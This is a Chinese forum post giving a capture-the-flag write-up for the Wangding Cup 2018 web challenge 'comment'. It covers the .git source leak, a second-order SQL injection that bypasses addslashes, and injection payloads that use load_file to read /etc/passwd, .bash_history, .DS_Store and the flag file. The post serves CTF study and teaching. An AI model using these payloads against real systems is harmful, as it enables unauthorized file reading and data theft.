学逆向论坛

找回密码
立即注册

只需一步,快速开始

发新帖

2万

积分

41

好友

1157

主题
发表于 2020-7-8 20:13:36 | 查看: 4558| 回复: 0

相关题目:

♦ comment

                                            题目链接:https://www.xuenixiang.com/ctfexercise-competition-441.html

  这题目太顶了
进去随便发个贴,出现登录

王鼎杯wdb_2018_web_comment

王鼎杯wdb_2018_web_comment

已经提示用户名和密码了,弱密码登录(得自己去爆破)
zhangwei666即可
  没啥思路,扫下目录试试,kali的dirb扫到.git泄露
githacker得到源码
看到这我懵了

王鼎杯wdb_2018_web_comment

王鼎杯wdb_2018_web_comment

看了web,这是一段残缺的代码,需要进行恢复
指令如下
git log --reflog

王鼎杯wdb_2018_web_comment

王鼎杯wdb_2018_web_comment
git reset --hard e5b2a2443c2b6d395d06960123142bc91123148c
  得到完整源码
<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
    header("Location: ./login.php");
    die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
    $category = addslashes($_POST['category']);
    $title = addslashes($_POST['title']);
    $content = addslashes($_POST['content']);
    $sql = "insert into board
            set category = '$category',
                title = '$title',
                content = '$content'";
    $result = mysql_query($sql);
    header("Location: ./index.php");
    break;
case 'comment':
    $bo_id = addslashes($_POST['bo_id']);
    $sql = "select category from board where id='$bo_id'";
    $result = mysql_query($sql);
    $num = mysql_num_rows($result);
    if($num>0){
    $category = mysql_fetch_array($result)['category'];
    $content = addslashes($_POST['content']);
    $sql = "insert into comment
            set category = '$category',
                content = '$content',
                bo_id = '$bo_id'";
    $result = mysql_query($sql);
    }
    header("Location: ./comment.php?id=$bo_id");
    break;
default:
    header("Location: ./index.php");
}
}
else{
    header("Location: ./index.php");
}
?>

王鼎杯wdb_2018_web_comment

王鼎杯wdb_2018_web_comment

可以发现当do=write的时候,传入的信息都会进行转义,但是数据库会自动清除反斜杠,

王鼎杯wdb_2018_web_comment

王鼎杯wdb_2018_web_comment

当do=comment的时候,可以发现直接从category这个字段进行查询,这就导致了二次注入
所以说那个转义函数根本起不到防护的作用
  二次注入讲解
  通过下面的sql语句来进行注入

王鼎杯wdb_2018_web_comment

王鼎杯wdb_2018_web_comment

首先我们需要在界面看到sql注入后的回显

王鼎杯wdb_2018_web_comment

王鼎杯wdb_2018_web_comment

可以发现content这个变量最后会回显在我们的留言页面中,那么就通过他来输出我们的sql语句
然后闭合sql语句 由于内容太多了,采取/**/的批量注释方法,
  payload
title=23&category=1',content=database(),/*&content=3123
  再让content = */#

王鼎杯wdb_2018_web_comment

王鼎杯wdb_2018_web_comment

提交之后会爆出库名,emmmm我按照常规的注入不知道为啥没有任何回显,.看了wp
查看user

王鼎杯wdb_2018_web_comment

王鼎杯wdb_2018_web_comment
  得知使用者是root权限

王鼎杯wdb_2018_web_comment

王鼎杯wdb_2018_web_comment

  这样的话,一般 flag 就不会在数据库里面(因为如果在数据库中,不需要root权限)
  所以sql注入读取本地文件 可以使用load_file()
玩过linux的都知道 /etc/passwd这里存储用户信息
paylaod
213',content=(select load_file('/etc/passwd')),/*

王鼎杯wdb_2018_web_comment

王鼎杯wdb_2018_web_comment

有个www用户
查看bash_history : 保存了当前用户使用过的历史命令,方便查找
在/home/www/下
paylaod
213',content=(select load_file('/home/www/.bash_history')),/*

王鼎杯wdb_2018_web_comment

王鼎杯wdb_2018_web_comment

看见他删除了 .DS_Store 文件,由于目标环境是docker,所以 .DS_Store 文件应该在 /tmp/html 中。而 .DS_Store 文件中,经常会有一些不可见的字符,可以使用hex函数对其进行16进制转换,
  payload
213 ',content=(select hex(load_file("/tmp/html/.DS_Store"))),/*
  出来一大窜16进制

王鼎杯wdb_2018_web_comment

王鼎杯wdb_2018_web_comment

放bp解码,flag在flag_8946e1f1ee3e40f.php

王鼎杯wdb_2018_web_comment

王鼎杯wdb_2018_web_comment

  payload
213',content=(select hex(load_file('/var/www/html/flag_8946e1ff1ee3e40f.php'))),/*
  解码得到flag

王鼎杯wdb_2018_web_comment

王鼎杯wdb_2018_web_comment



温馨提示:
1.如果您喜欢这篇帖子,请给作者点赞评分,点赞会增加帖子的热度,评分会给作者加学币。(评分不会扣掉您的积分,系统每天都会重置您的评分额度)。
2.回复帖子不仅是对作者的认可,还可以获得学币奖励,请尊重他人的劳动成果,拒绝做伸手党!
3.发广告、灌水回复等违规行为一经发现直接禁言,如果本帖内容涉嫌违规,请点击论坛底部的举报反馈按钮,也可以在【投诉建议】板块发帖举报。
论坛交流群:672619046

小黑屋|手机版|站务邮箱|学逆向论坛 ( 粤ICP备2021023307号 )|网站地图

GMT+8, 2024-3-29 01:18 , Processed in 0.096521 second(s), 42 queries .

Powered by Discuz! X3.4

Copyright © 2001-2021, Tencent Cloud.

快速回复 返回顶部 返回列表